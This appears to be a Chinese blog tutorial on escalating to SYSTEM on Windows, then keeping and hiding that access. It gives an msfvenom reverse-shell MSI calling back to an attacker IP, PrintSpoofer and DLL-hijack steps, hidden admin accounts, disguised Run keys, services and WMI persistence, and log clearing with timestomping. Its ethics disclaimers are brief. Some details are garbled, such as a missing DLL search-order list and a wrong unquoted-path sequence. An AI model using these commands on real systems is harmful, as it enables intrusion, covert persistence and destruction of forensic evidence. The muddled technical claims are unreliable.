Windows本地提权实战从常见漏洞利用到权限维持详解

嘿，朋友。既然你点开了这篇内容，我想你心里清楚自己在找什么。在网络安全的世界里，“本地提权”（Local Privilege Escalation, LPE）就像是一场密室逃脱游戏：你已经拿到了一个低权限的入口（比如一个Web shell或者一个普通的用户账户），但你的终极目标是那把通往“System”或“Administrator”王座的钥匙。

别指望这只是一份枯燥的教科书列表。今天，我们要像剥洋葱一样，一层层揭开Windows权限提升的真相。我会用大白话、真实的场景案例，甚至带点“黑客思维”的视角，带你走完从发现漏洞到稳稳坐住管理员位置的全过程。记住，技术是中性的，理解这些是为了更好地防守，而不是去破坏——当然，我知道你懂规矩。

第一阶段：侦察与情报收集——知己知彼，百战不殆

很多新手一上来就扔脚本，这是大忌。在Windows世界里，信息就是权力。如果你不知道当前系统是什么版本、打了哪些补丁、运行了什么服务，你的提权尝试就像是在黑暗中乱开枪。

1. 环境指纹识别

首先，你得搞清楚你脚下的土地有多硬。

# 查看操作系统详细信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"

# 查看环境变量，寻找敏感路径或配置
set

# 检查当前用户的权限组
whoami /priv
whoami /groups

这里有个关键点：whoami /priv。你会看到一堆权限列表。重点关注那些标记为“已启用”的权限，比如 SeImpersonatePrivilege（打印 spooler 权限）、SeDebugPrivilege（调试权限）。这些往往是提权的捷径。

2. 自动化工具的辅助

虽然手动分析很酷，但在实战中，时间就是生命。我们会用到一些经典的本地提权检查工具，比如 WinPEAS (Windows Privilege Escalation Awesome Scripts) 或 PowerUp.ps1。

WinPEAS: 这是一个单文件可执行程序，它能扫描注册表、服务、未引用的DLL、计划任务、AlwaysInstallElevated等数千个可能导致提权的配置错误。
PowerUp.ps1: 基于PowerShell的脚本，功能类似，但更灵活，可以直接在内存中执行。

注意：不要盲目相信工具的每一个输出。它只是提示你“这里有可疑之处”，最终的决定权在你手里。你需要判断这个配置是否真的能被利用，以及风险有多大。

第二阶段：经典提权路径——从“小角色”到“大老板”

有了情报，我们开始动手。Windows提权的路径非常多，我挑选几个最常见、最实用，且在不同版本Windows中都可能出现的情况进行详解。

路径一：AlwaysInstallElevated 注册表项滥用

这是一个老掉牙但依然有效的技巧。如果系统管理员为了简化部署，开启了某些“高级别安装”选项，而你没有相应的权限，你就可能利用 .msi 安装包来提权。

原理：如果以下两个注册表键值被设置为 1，那么任何用户（包括低权限用户）都可以以 SYSTEM 权限安装 MSI 文件。

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

实战步骤：

检测：

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果返回值是 0x1，恭喜，门开了。

构造恶意MSI：我们需要创建一个MSI文件，其中包含一个提权载荷（Payload）。最简单的方式是使用 Metasploit 或 msfvenom。

# 生成一个反向TCP连接的MSI木马，监听192.168.1.100:4444
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi > evil.msi

执行安装：
```
msiexec /quiet /qn /i C:\Users\Public\evil.msi
```
-quiet 和 /qn 参数确保安装过程静默，不会弹出任何窗口引起怀疑。
结果：一旦执行，你的Meterpreter会话将以 NT AUTHORITY\SYSTEM 权限建立。

为什么有效？ 因为 msiexec.exe 是一个受信任的系统进程，且当 AlwaysInstallElevated 开启时，它会忽略用户的权限限制，直接以高权限运行安装包中的指令。

路径二：SUID/SGID 等效物 —— Unquoted Service Path（未引用服务路径）

在Linux中，我们有SUID位；在Windows中，对应的概念是服务二进制文件路径未加引号。如果服务名称中包含空格，且路径未加引号，攻击者可以在路径中放置一个恶意的同名可执行文件，从而在下次服务启动时以 SYSTEM 权限执行。

示例场景：假设有一个服务名为 My Cool Service，其可执行文件路径为 C:\Program Files\My App\My Cool Service.exe。

漏洞分析： Windows命令行解析器在处理未加引号的路径时，会按空格分割。它会依次查找：

C:\Program.exe
Files\My.exe
App\My.exe
Cool.exe
Service.exe

如果攻击者在 C:\Program Files\ 下创建了一个名为 My.exe 的文件，并且服务是以 SYSTEM 权限运行的，那么当服务启动或重启时，My.exe 就会以 SYSTEM 权限执行。

实战步骤：

查找易受攻击的服务：可以使用 PowerUp.ps1 中的 Get-ModifiablePath 或手动检查：

Get-CimInstance Win32_Service | Where-Object { $_.PathName -like "* *" -and $_.PathName -notlike '"*' }

确认写入权限：你需要确认你是否有权在 C:\Program Files\ 或其子目录中创建文件。通常，普通用户对 Program Files 没有写入权限，但如果服务安装在用户可写的目录下（如 C:\Program Files (x86)\Some App\ 且你对该文件夹有完全控制权），那就麻烦了。

放置Payload：

# 假设服务路径是 C:\Program Files\My App\Service.exe
# 我们在 C:\Program Files\ 下创建一个 My.exe
copy C:\Users\Public\reverse_shell.exe C:\Program Files\My.exe

触发服务：你需要让服务重启。如果你有权限管理服务，可以直接重启：
```
net stop "My Cool Service"
net start "My Cool Service"
```
如果没有权限，可能需要等待服务自动重启，或者寻找其他方法触发。

注意：现代Windows版本（如Win10/Server 2016+）对 Program Files 的权限控制非常严格，普通用户很难在此处创建文件。因此，这种漏洞更多出现在自定义安装目录或权限配置不当的应用程序中。

路径三：Token 欺骗与 Impersonation（模拟令牌）

这是目前最流行、最高效的提权方式之一，特别是针对 Juicy Potato 或 PrintSpoofer 这类工具。它们利用了Windows的 SeImpersonatePrivilege 权限。

原理：许多Windows服务（如Spooler、Print Spooler）以 SYSTEM 权限运行，并拥有 SeImpersonatePrivilege 权限。这意味着它们可以模拟其他用户的令牌。攻击者可以利用这一点，创建一个恶意服务，连接到现有的 SYSTEM 进程，并窃取其令牌，从而获得 SYSTEM 权限。

实战案例：PrintSpoofer

前提条件：
- 当前用户拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege。
- 目标系统启用了 Print Spooler 服务（默认启用）。
下载工具：从GitHub获取 PrintSpoofer64.exe。
执行提权：
```
.\PrintSpoofer64.exe -c "cmd.exe"
```
这条命令会启动一个新的CMD进程，但该进程的令牌是来自 SYSTEM 用户的。
验证：
```
whoami
# 输出: nt authority\system
```

为什么这很强大？

无需漏洞利用：这不是利用CVE漏洞，而是利用Windows设计上的权限继承特性。
隐蔽性强：没有修改文件，没有创建新服务，只是利用了现有的系统组件。
广泛适用：几乎所有带有打印功能的Windows服务器都受此影响，直到微软发布特定补丁。

路径四：DLL 劫持（DLL Hijacking）

应用程序在加载DLL时，如果搜索路径配置不当，可能会加载攻击者控制的DLL。

原理当程序调用 LoadLibrary("example.dll") 时，Windows会按照特定顺序搜索DLL：

如果攻击者能在第一步或第六步放置一个恶意的 example.dll，当目标程序运行时，恶意DLL就会被加载并执行。

实战步骤：

寻找易受攻击的程序：使用工具如 Process Monitor 或 Sysinternals Suite 监控目标程序的DLL加载行为。或者使用 AccessChk 检查哪些目录对当前用户可写。

构造恶意DLL：使用 Visual Studio 或 Metasploit 创建一个包含反向shell代码的DLL。

// 简化的恶意DLL伪代码
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // 执行提权代码，例如启动cmd.exe作为SYSTEM
        system("cmd.exe");
    }
    return TRUE;
}

替换或注入DLL：将编译好的 example.dll 放到目标程序所在的目录或PATH可写目录中。
等待触发：当目标程序启动时，你的DLL就会被执行。

防御难点： DLL劫持非常难以完全防御，因为开发者必须严格控制所有依赖库的路径和签名。这也是为什么白名单软件（如Kaspersky、McAfee）经常成为劫持目标的原因。

第三阶段：权限维持——站稳脚跟，长久之计

拿到 SYSTEM 权限只是开始。如果你不留后路，一旦系统重启或被管理员发现，你可能会失去所有访问权限。权限维持（Persistence）的目标是确保即使密码更改、账户删除或服务重启，你依然能回来。

1. 创建隐藏的管理员账户

这是最原始但也最有效的方法。

net user hacker P@ssw0rd123 /add
net localgroup administrators hacker /add

进阶技巧：

隐藏账户：将用户名末尾加上 $，这样在常规的用户列表中不会显示。
```
net user hacker$ P@ssw0rd123 /add
net localgroup administrators hacker$ /add
```
禁用登录：如果你只需要远程管理（如WMI、PsExec），可以禁用交互式登录，降低被发现的风险。

2. 注册表自启动项

修改注册表可以让程序在用户登录或系统启动时自动运行。

# 当前用户自启动
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# 系统级自启动（需要SYSTEM权限）
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemBackdoor /t REG_SZ /d "C:\Windows\System32\payload.exe" /f

伪装技巧：给键值起一个看似正常的名字，如 UpdateHelper 或 CloudSync，并将可执行文件放在 AppData 或 Temp 目录中。

3. 计划任务（Scheduled Tasks）

计划任务比注册表更隐蔽，因为它在任务计划程序管理器中看起来更像正常的工作负载。

schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\payload.exe" /sc onlogon /ru SYSTEM /f

优势：

可以设置复杂的触发条件（如每隔5分钟、系统空闲时等）。
可以指定以 SYSTEM 权限运行，即使你只是普通用户登录。

4. WMI Event Subscription

这是一种高级的权限维持技术，利用Windows Management Instrumentation (WMI) 的事件订阅机制。

# 创建一个永久事件过滤器
$filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{Name="MyFilter"; EventNameSpace="root/cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_ProcessStartTrace'"}

# 创建一个永久消费者（执行命令）
$consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="MyConsumer"; ExecutablePath="C:\Users\Public\payload.exe"; CommandLineTemplate="C:\Users\Public\payload.exe"}

# 绑定过滤器和消费者
$binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer}

为什么选择WMI？

无文件执行：可以将命令直接嵌入事件中，无需在磁盘上留下明显的可执行文件。
持久性：只要系统运行，事件订阅就会存在。
隐蔽性：在标准的日志中很难区分正常WMI活动和本地提权留下的WMI订阅。

5. 后门服务

创建一个新服务，设置为 SYSTEM 权限，并配置为自动启动。

sc create "WindowsDefenderUpdate" binpath= "C:\Users\Public\payload.exe" start= auto obj= "LocalSystem"
sc start "WindowsDefenderUpdate"

技巧：使用常见的服务名称（如 Windows Update Helper），并将其二进制路径指向一个看似正常的目录。

第四阶段：清理痕迹与反取证

当你完成了提权和权限维持，下一步是擦除足迹。虽然完美的隐身几乎不可能，但增加攻击者的难度是值得的。

1. 清除事件日志

Windows的事件日志是调查人员的主要来源。

wevtutil cl Security
wevtutil cl System
wevtutil cl Application

警告：清除日志本身会在 System 日志中留下一个事件（Event ID 1102），表明日志已被清除。这可能是红队（攻击方）留下的明显标记。

2. 修改时间戳

使用工具如 Timestomp（来自Mimikatz套件）来修改文件的时间属性，使其看起来像是最近被访问过的合法文件。

timestomp payload.exe -f original_file.exe

3. 删除临时文件

清理你在提权过程中创建的临时文件、MSI包、DLL等。

del C:\Users\Public\evil.msi
del C:\Users\Public\payload.exe

4. 内存清理

如果使用Meterpreter或其他内存驻留工具，记得在退出前执行 migrate 到稳定进程，并清除内存中的凭证缓存。

结语：道德与责任的边界

朋友，写到这里，你可能已经感受到了Windows提权的复杂性和深度。从简单的注册表检查到复杂的WMI订阅，每一步都需要细致的观察和精准的执行。

但是，我必须再次强调：知识是一把双刃剑。

对于防御者：理解这些攻击手法，你才能构建更坚固的防线。定期更新系统、最小化权限原则、监控异常进程和服务、启用AppLocker或WDAC，都是对抗本地提权的有效手段。
对于渗透测试人员：务必在获得书面授权的环境下进行测试。未经授权的提权尝试不仅是非法的，而且可能导致业务中断和数据泄露。
对于企业IT管理员：不要忽视那些看似微小的配置错误。AlwaysInstallElevated 或 Unquoted Service Path 这样的设置，往往是攻击者进入内网的突破口。

最后，记住那句话：安全不是一个产品，而是一个过程。持续的学习、不断的演练、以及对细节的关注，才是保护系统安全的根本。

希望这篇文章能帮你理清思路，无论是用于学习还是实战。如果有具体的技术问题，欢迎继续交流。祝你好运！

正文

Windows本地提权实战从常见漏洞利用到权限维持详解

第一阶段：侦察与情报收集——知己知彼，百战不殆

1. 环境指纹识别

2. 自动化工具的辅助

第二阶段：经典提权路径——从“小角色”到“大老板”

路径一：AlwaysInstallElevated 注册表项滥用

路径二：SUID/SGID 等效物 —— Unquoted Service Path（未引用服务路径）

路径三：Token 欺骗与 Impersonation（模拟令牌）

路径四：DLL 劫持（DLL Hijacking）

第三阶段：权限维持——站稳脚跟，长久之计

1. 创建隐藏的管理员账户

2. 注册表自启动项

3. 计划任务（Scheduled Tasks）

4. WMI Event Subscription

5. 后门服务

第四阶段：清理痕迹与反取证

1. 清除事件日志

2. 修改时间戳

3. 删除临时文件

4. 内存清理

结语：道德与责任的边界

相关阅读

揭秘：本地提权漏洞，如何守护你的网络安全防线？

揭秘：本地提权风险与提升网络安全态势感知的实用指南

破解本地提权漏洞，一网打尽查询库！

揭秘：本地提权漏洞库快速查询指南，轻松应对系统安全隐患

揭秘如何轻松加固本地系统安全，防范提权攻击的实用指南

掌握Linux本地提权技巧，轻松提升系统权限，实战解析让你安全无忧

揭秘本地提权工具：安全专家教你如何下载与正确使用

轻松入门：本地提权技术必备学习资料大全

揭秘：轻松学会本地提权，视频教程免费下载，安全操作指南全收录

揭秘本地提权竞赛：实战技巧解析，安全专家教你轻松应对挑战